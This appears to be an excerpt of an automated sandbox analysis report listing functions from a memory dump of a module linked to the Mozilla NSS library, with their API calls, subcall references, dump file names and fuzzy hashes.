Instruction Fuzzy Hash: E4F16C71E082098FDB05CF58D8407AEB7B2BF48358F294169E915ABB81E775E9C1CB90

Function 6C9EF9A0 Relevance: 16.7, APIs: 11, Instructions: 195stringmemoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C), ref: 6C9EF9B9

Part of subcall function 6CA00BE0: malloc.MOZGLUE(6C9F8D2D,?,00000000,?), ref: 6CA00BF8
Part of subcall function 6CA00BE0: TlsGetValue.KERNEL32(6C9F8D2D,?,00000000,?), ref: 6CA00C15

PR_NewLock.NSS3 ref: 6C9EF9D2

Part of subcall function 6CA698D0: calloc.MOZGLUE(00000001,00000084,6C990936,00000001,?,6C99102C), ref: 6CA698E5

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6C9EFA5A
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C9EFAA0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C9EFABB
free.MOZGLUE(00000000), ref: 6C9EFB02
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C9EFB12
PR_SetError.NSS3(FFFFE041,00000000), ref: 6C9EFB5F
free.MOZGLUE(?), ref: 6C9EFB6F
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C9EFB86
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C9EFBE1

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Error$strcmp$free$Alloc_LockUtilValuecallocmalloc
String ID:
API String ID: 4237468566-0
Opcode ID: 46139a5ab9308a2b517acfab45e0efe93a84761255a4652553a00830f7077674
Instruction ID: 4028c7203183e3f75bce576aabc4932dca2fafda198538c53cbc06c7263cdd5c
Opcode Fuzzy Hash: 46139a5ab9308a2b517acfab45e0efe93a84761255a4652553a00830f7077674
Instruction Fuzzy Hash: 60610871E012259BEB02AE65BC407AF7778AF7931CF18012AD818ABB81E771E548C7D1

Function 6C9F18D0 Relevance: 16.7, APIs: 11, Instructions: 169COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C9F1926
EnterCriticalSection.KERNEL32 ref: 6C9F193F
PR_Unlock.NSS3 ref: 6C9F1962
PR_Unlock.NSS3 ref: 6C9F1996
PK11_GetSlotInfo.NSS3 ref: 6C9F19A5
TlsGetValue.KERNEL32 ref: 6C9F19DC
EnterCriticalSection.KERNEL32 ref: 6C9F19F5
PR_Unlock.NSS3 ref: 6C9F1A2D
TlsGetValue.KERNEL32 ref: 6C9F1A50
EnterCriticalSection.KERNEL32 ref: 6C9F1A69
PR_Unlock.NSS3 ref: 6C9F1ABC

Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907AD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907CD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907D6
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C92204A), ref: 6C9907E4
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,6C92204A), ref: 6C990864
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C990880
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,6C92204A), ref: 6C9908CB
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908D7
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908FB

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$calloc$InfoK11_Slot
String ID:
API String ID: 3878197720-0
Opcode ID: d4ca5e7b5107a9c30bdc6b9291dcc8a748c77c4364713f3e876236d36312f158
Instruction ID: 2b4261b3f467ed3f73e3d5c772da52780bdcaf461818474e6e696f681cfdbc57
Opcode Fuzzy Hash: d4ca5e7b5107a9c30bdc6b9291dcc8a748c77c4364713f3e876236d36312f158
Instruction Fuzzy Hash: 55618CB5604B04CFDB10AF79D58436AB7F4BF46318F15592DC8AA87B50EB34E48ACB81

Function 6CA10C60 Relevance: 16.7, APIs: 11, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CA12C2A), ref: 6CA10C81

Part of subcall function 6C9FBE30: SECOID_FindOID_Util.NSS3(6C9B311B,00000000,?,6C9B311B,?), ref: 6C9FBE44

Part of subcall function 6C9E8500: SECOID_GetAlgorithmTag_Util.NSS3(6C9E95DC,00000000,00000000,00000000,?,6C9E95DC,00000000,00000000,?,6C9C7F4A,00000000,?,00000000,00000000), ref: 6C9E8517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CA10CC4

Part of subcall function 6C9FFAB0: free.MOZGLUE(?,-00000001,?,?,6C99F673,00000000,00000000), ref: 6C9FFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CA10CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CA10D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CA10D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6CA10D7D
free.MOZGLUE(00000000), ref: 6CA10DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CA10DC1
free.MOZGLUE(00000000), ref: 6CA10DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CA10E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CA10E0F

Part of subcall function 6C9E95C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C9C7F4A,00000000,?,00000000,00000000), ref: 6C9E95E0
Part of subcall function 6C9E95C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C9C7F4A,00000000,?,00000000,00000000), ref: 6C9E95F5
Part of subcall function 6C9E95C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C9E9609
Part of subcall function 6C9E95C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C9E961D
Part of subcall function 6C9E95C0: PK11_GetInternalSlot.NSS3 ref: 6C9E970B
Part of subcall function 6C9E95C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C9E9756
Part of subcall function 6C9E95C0: PK11_GetIVLength.NSS3(?), ref: 6C9E9767
Part of subcall function 6C9E95C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C9E977E
Part of subcall function 6C9E95C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C9E978E

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID:
API String ID: 3136566230-0
Opcode ID: f3cecfc10830de52de7cfd9786715f3c0e0c22737c74b285b4f9fe29e71e8e42
Instruction ID: cf85417722a5087f33bfefd69233cb1d1d1bbe7e3de708694b207bfbce06b0aa
Opcode Fuzzy Hash: f3cecfc10830de52de7cfd9786715f3c0e0c22737c74b285b4f9fe29e71e8e42
Instruction Fuzzy Hash: 3241D6B1900245ABEB009F64DC41BAF7A74AF2530CF144028E91567B41E735EAA8CBE2

Function 6C9A4FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6CAF0148,?,6C9B6FEC), ref: 6C9A502A
PR_NewLock.NSS3(00000001,00000000,6CAF0148,?,6C9B6FEC), ref: 6C9A5034
PL_NewHashTable.NSS3(00000000,6C9FFE80,6C9FFD30,6CA4C350,00000000,00000000,00000001,00000000,6CAF0148,?,6C9B6FEC), ref: 6C9A5055
PL_NewHashTable.NSS3(00000000,6C9FFE80,6C9FFD30,6CA4C350,00000000,00000000,?,00000001,00000000,6CAF0148,?,6C9B6FEC), ref: 6C9A506D

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 221dce5baad77084d5af93548f1798ac81dadec9115090c96db2d592beba9682
Instruction ID: cfdb6a05bfc87e984e1fb032ac4f69e56536a9f9a011f4f62a1e4dbd37c324bf
Opcode Fuzzy Hash: 221dce5baad77084d5af93548f1798ac81dadec9115090c96db2d592beba9682
Instruction Fuzzy Hash: 1931F8B1B417209BEB149BA6C88DB5737BC9B3730CF014119EA1983A41D3B5D54ECBD2

Function 6C942E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C942F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C942FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C943005
memcpy.VCRUNTIME140(?,?,?), ref: 6C9430EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C943131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C943178

Strings

database corruption, xrefs: 6C94316C
%s at line %d of [%.10s], xrefs: 6C943171
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C943022, 6C943156, 6C943162, 6C94318A, 6C943196, 6C9431A2, 6C9431AE, 6C9431BA, 6C9431C6

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: 68e6f803c1996bbcb279b6b253d9a7ea382ddd36821a32f133f0313910f86124
Instruction ID: ae669c6b95d4bd37dfb13275e4b70afd79ff9111ac724034341e0422558ddaa2
Opcode Fuzzy Hash: 68e6f803c1996bbcb279b6b253d9a7ea382ddd36821a32f133f0313910f86124
Instruction Fuzzy Hash: B8B16B70E05219DBDB18CFA9C884ABEB7B1BB48304F148169E845B7B41D775E981CBA0

Function 6CA17F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CA17FB2

Part of subcall function 6C99BA40: TlsGetValue.KERNEL32 ref: 6C99BA51
Part of subcall function 6C99BA40: TlsGetValue.KERNEL32 ref: 6C99BA6B
Part of subcall function 6C99BA40: EnterCriticalSection.KERNEL32 ref: 6C99BA83
Part of subcall function 6C99BA40: TlsGetValue.KERNEL32 ref: 6C99BAA1
Part of subcall function 6C99BA40: _PR_MD_UNLOCK.NSS3 ref: 6C99BAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CA17FD4

Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA690AB
Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA690C9
Part of subcall function 6CA69090: EnterCriticalSection.KERNEL32 ref: 6CA690E5
Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA69116
Part of subcall function 6CA69090: LeaveCriticalSection.KERNEL32 ref: 6CA6913F

Part of subcall function 6CA19430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6CA19466

PR_ExitMonitor.NSS3(?), ref: 6CA1801B
PR_EnterMonitor.NSS3(?), ref: 6CA18034
TlsGetValue.KERNEL32 ref: 6CA180A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CA180C0
PR_ExitMonitor.NSS3(?), ref: 6CA1811C
PR_ExitMonitor.NSS3(?), ref: 6CA18134

Strings

), xrefs: 6CA180DB

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: 1b6347d30acc91e7204564414425dee05379e921888b93133738c08ddd91c441
Instruction ID: 7a70f80f62c060456117106161baf9ac14264fdfbe1945fbd5ef149568a2bc0c
Opcode Fuzzy Hash: 1b6347d30acc91e7204564414425dee05379e921888b93133738c08ddd91c441
Instruction Fuzzy Hash: D1512476A087089BE7209F35DD007ABB7B4AF5231CF09452DDD9946E41E731A68CC782

Function 6C9BFCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6C9BFCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6C9BFCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6C9BFCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9BFD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6C9BFD46
PORT_Alloc_Util.NSS3(00000001), ref: 6C9BFD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6C9BFD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C9BFD84

Strings

:, xrefs: 6C9BFD78

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: 3ca3b6c920c97a5082b79ff276884c3424fcd07bdc73f8435cbaea1cece771c5
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: 0F31BFBE900215ABEB008AA8DD057AF77ACAF9535CF150524DC14B7B00E772EA58C7D2

Function 6C9A0F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C9A0F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C9A0F84

Part of subcall function 6C9FB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CAD18D0,?), ref: 6C9FB095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C9BF59B,6CAC890C,?), ref: 6C9A0FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C9A0FC1

Part of subcall function 6CA00BE0: malloc.MOZGLUE(6C9F8D2D,?,00000000,?), ref: 6CA00BF8
Part of subcall function 6CA00BE0: TlsGetValue.KERNEL32(6C9F8D2D,?,00000000,?), ref: 6CA00C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C9A0FDB
PR_CallOnce.NSS3(6CB02AA4,6CA012D0), ref: 6C9A0FEF
PL_FreeArenaPool.NSS3(?), ref: 6C9A1001
PL_FinishArenaPool.NSS3(?), ref: 6C9A1009

Strings

security, xrefs: 6C9A0F5C

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: fdfe0fb4e69093fd7da71d437174a8149213a687df0e6b8a0c2d1fa8015b5e80
Instruction ID: b0df87607e786b4c2b4dbe3c70983d50a4afc3005f0daa9746ca0962df70baf8
Opcode Fuzzy Hash: fdfe0fb4e69093fd7da71d437174a8149213a687df0e6b8a0c2d1fa8015b5e80
Instruction Fuzzy Hash: B7212871A04304ABE7009F24ED41AAB7BB8EF5925CF048518FC1897701F731D59ACBE2

Function 6C9A6DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C9A7D8F,6C9A7D8F,?,?), ref: 6C9A6DC8

Part of subcall function 6C9FFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C9FFE08
Part of subcall function 6C9FFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C9FFE1D
Part of subcall function 6C9FFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C9FFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C9A7D8F,?,?), ref: 6C9A6DD5

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CAC8FA0,00000000,?,?,?,?,6C9A7D8F,?,?), ref: 6C9A6DF7

Part of subcall function 6C9FB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CAD18D0,?), ref: 6C9FB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C9A6E35

Part of subcall function 6C9FFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C9FFE29
Part of subcall function 6C9FFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C9FFE3D
Part of subcall function 6C9FFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C9FFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C9A6E4C

Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CAC8FE0,00000000), ref: 6C9A6E82

Part of subcall function 6C9A6AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C9AB21D,00000000,00000000,6C9AB219,?,6C9A6BFB,00000000,?,00000000,00000000,?,?,?,6C9AB21D), ref: 6C9A6B01
Part of subcall function 6C9A6AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C9A6B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C9A6F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C9A6F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CAC8FE0,00000000), ref: 6C9A6F6B
PR_SetError.NSS3(FFFFE005,00000000,6C9A7D8F,?,?), ref: 6C9A6FE1

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 690c980406785e6601713874487aca29f0e2297ab96eeace6669fbfa8ee55d1c
Instruction ID: 9be5bdd87607d6861b3bac69ee9b4d584775b6a11695058cae95b07a789c2f1f
Opcode Fuzzy Hash: 690c980406785e6601713874487aca29f0e2297ab96eeace6669fbfa8ee55d1c
Instruction Fuzzy Hash: AF718171E102469FDB00CF59CD40BAA7BA8BF6834CF154229E958D7B11F770E9A6CB90

Function 6C9E0FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9E1057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C9E1085
PK11_GetAllTokens.NSS3 ref: 6C9E10B1
free.MOZGLUE(?), ref: 6C9E1107
PR_SetError.NSS3(00000000,00000000), ref: 6C9E1172
free.MOZGLUE(?), ref: 6C9E1182
free.MOZGLUE(?), ref: 6C9E11A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C9E11C5

Part of subcall function 6C9E52C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C9BEAC5,00000001), ref: 6C9E52DF
Part of subcall function 6C9E52C0: EnterCriticalSection.KERNEL32(?), ref: 6C9E52F3
Part of subcall function 6C9E52C0: PR_Unlock.NSS3(?), ref: 6C9E5358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C9E11D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C9E11F3

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: d11aef85500d1dbdcb1b1c981b1cf35c7d6887abf56d595377c1057882ad5ba1
Instruction ID: 1e501cb0d8bab4ed776c6633f8bab000b5bd613d536c21159f3b779604575434
Opcode Fuzzy Hash: d11aef85500d1dbdcb1b1c981b1cf35c7d6887abf56d595377c1057882ad5ba1
